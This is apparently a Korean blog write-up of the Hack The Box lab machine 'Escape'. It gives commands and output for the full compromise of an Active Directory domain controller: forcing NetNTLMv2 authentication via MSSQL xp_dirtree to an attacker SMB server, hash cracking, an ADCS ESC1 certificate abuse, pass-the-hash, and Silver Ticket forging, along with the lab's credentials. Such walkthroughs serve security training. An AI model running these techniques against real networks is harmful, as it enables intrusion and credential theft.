
정보 수집 (Enumeration)
전체 포트를 빠르게 스캔했다. Kerberos(88)·LDAP(389)·SMB(445)에 더해 MSSQL(1433)이 열려 있는 전형적인 AD 도메인 컨트롤러다.
rustscan -a 10.129.98.209 -- -sC -sV -oN nmap
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2026-11-08 10:28:57Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name)
1433/tcp open ms-sql-s syn-ack ttl 127 Microsoft SQL Server 2019 15.00.2000.00; RTM
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name)
3269/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name)
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49689/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49690/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49711/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49720/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
익명(guest) 계정으로 접근 가능한 SMB 공유를 확인했다.
smbmap -H 10.129.98.209 -u guest -p ''



초기 침투 (MSSQL 인증 강제 → NetNTLMv2 크래킹)
획득한 PublicUser 자격증명으로 MSSQL 로그인이 가능한지 확인했다.
nxc mssql sequel.htb -u PublicUser -p 'GuestUserCantWrite1' --local-auth

로그인이 되는 것을 확인한 뒤, 대화형 SQL 쉘에 접속했다.
impacket-mssqlclient PublicUser:'GuestUserCantWrite1'@sequel.htb

DB를 둘러봤지만 쓸 만한 정보는 없었다.
MSSQL의 xp_dirtree로 내 SMB 서버 경로를 조회하게 만들어, 서비스 계정의 인증을 강제로 끌어냈다.
xp_dirtree \\10.10.15.247\test

Responder를 띄워 두면 sql_svc의 NetNTLMv2 해시를 받아낼 수 있다.
서비스 계정이 내 SMB 서버로 인증을 시도하면서, 아래와 같은 NetNTLMv2 해시가 캡처됐다.
sudo responder -I tun0

sql_svc::sequel:5a24baef83906341:E90C4DB8ABD6452E95C1611E0DA919E3:0101000000000000801D3433166FDD017973A71C5BF931020000000002000800550053003800300001001E00570049004E002D003700300054005500370036003800560032004200350004003400570049004E002D00370030005400550037003600380056003200420035002E0055005300380030002E004C004F00430041004C000300140055005300380030002E004C004F00430041004C000500140055005300380030002E004C004F00430041004C0007000800801D3433166FDD0106000400020000000800300030000000000000000000000000300000D41CF2924F0CA1F18CF4A3855AFB796EC36EFB749763969D6B5B1C5C2EF0D8510A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310035002E003200340037000000000000000000
받아낸 해시를 hashcat으로 크랙했다.
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

크랙한 패스워드로 WinRM에 접속해 sql_svc 쉘을 얻었다. 다만 sql_svc는 서비스 계정이라, user 플래그는 Ryan.Cooper로 넘어가야 읽을 수 있다.
evil-winrm -i sequel.htb -u SQL_SVC -p 'REGGIE1234ronnie'

수평 이동 (ERRORLOG.BAK)
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 2/7/2023 8:58 AM Administrator
d-r--- 7/20/2021 12:23 PM Public
d----- 2/1/2023 6:37 PM Ryan.Cooper
d----- 2/7/2023 8:10 AM sql_svc
다음 단계로 Ryan.Cooper로 접근할 단서를 찾아야 한다.
C:\SQLServer\Logs\ 경로에 ERRORLOG.BAK 파일이 있다.
파일 내용에는 ID와 패스워드로 추정되는 정보가 남아 있다. 실패한 로그인 시도에서 사용자명 칸에 패스워드를 잘못 입력한 기록이 그대로 남은 것이다.

얻은 자격증명으로 Ryan.Cooper 쉘을 얻었다.
evil-winrm -i sequel.htb -u Ryan.Cooper -p 'NuclearMosquito3'

권한 상승 (ADCS ESC1)
certipy-ad find -u Ryan.Cooper@dc.sequel.htb -p 'NuclearMosquito3' -dc-ip 10.129.98.209 -vulnerable -stdout

certipy-ad req -u Ryan.Cooper@sequel.htb -p 'NuclearMosquito3' -ca sequel-DC-CA -target dc.sequel.htb -template UserAuthentication -upn Administrator@sequel.htb

발급받은 인증서로 Administrator의 NTLM 해시를 얻었다.
certipy-ad auth -pfx administrator.pfx -dc-ip 10.129.98.209

실행 도중에 Clock skew too great 발생한다면 시간이 서로 안맞는 것이므로 dc ip와 시간을 동기화 해준다.
$ timedatectl set-ntp off # 시간 동기화 비활성화
$ rdate -n [DC-IP] # DC IP의 시간 정보 기반으로 동기화
획득한 NT 해시로 PtH 로그인에 성공했다.
evil-winrm -i sequel.htb -u Administrator -H a52f78e4c751e5f5e17e1e9f3e58f4ee

대안 경로 (Silver Ticket)
다른 방법으로 sql_svc 서비스 계정을 획득했기 때문에 Silver Ticket을 이용하는 방법도 있다.
Silver Ticket을 위조하려면 도메인 SID가 필요하다. 현재 계정의 SID를 조회해, 끝의 RID(-1106)를 제외한 앞부분이 도메인 SID다.
Get-LocalUser -Name $env:USERNAME | Select sid

도메인 SID: S-1-5-21-4078382237-1492182817-2568127209
ticketer에는 서비스 계정의 NT 해시가 필요하다. 크랙으로 얻은 평문 패스워드(REGGIE1234ronnie)를 아래 사이트에서 NTLM 해시로 변환했다.

얻은 도메인 SID와 sql_svc의 NT 해시로, Administrator를 가장하는 실버 티켓을 발급했다.
impacket-ticketer -nthash 1443EC19DA4DAC4FFC953BCA1B57B4CF -domain-sid S-1-5-21-4078382237-1492182817-2568127209 -domain sequel.htb -dc-ip 10.129.98.209 -spn nonexistent/dc.sequel.htb Administrator

발급한 실버 티켓으로 MSSQL에 접속한다. -spn에 임의 값(nonexistent/...)을 써도 되는 것은, 서비스가 티켓을 자신의 키(sql_svc 해시)로 복호화만 하면 되고 SPN 문자열은 엄격히 검증하지 않기 때문이다.
export KRB5CCNAME=Administrator.ccache
impacket-mssqlclient -k dc.sequel.htb

MSSQL의 OPENROWSET(BULK)으로 파일을 직접 읽어 user.txt 와 root.txt 플래그를 확인할 수 있다.
SELECT * FROM OPENROWSET(BULK N'C:\users\ryan.cooper\desktop\user.txt', SINGLE_CLOB) AS Contents
SELECT * FROM OPENROWSET(BULK N'C:\users\Administrator\desktop\root.txt', SINGLE_CLOB) AS Contents

MSSQL에는 Administrator로 인증했지만, xp_cmdshell이 실행하는 OS 명령은 SQL Server 서비스 계정(sql_svc) 권한으로 동작한다. 그래서 Administrator 소유 파일에 접근하면 Access is denied가 뜬다.

서비스 계정으로 동작하는 만큼 SeImpersonatePrivilege를 갖고 있어, potato 계열 기법으로 Administrator 권한 쉘까지 얻을 수 있다.

'HTB' 카테고리의 다른 글
| HTB - Cascade (0) | 2026.11.08 |
|---|---|
| HTB - Support (0) | 2026.11.06 |
| HTB - Jeeves (0) | 2026.11.04 |
| HTB - Mailing (0) | 2026.11.02 |
| HTB - Access (0) | 2026.11.01 |
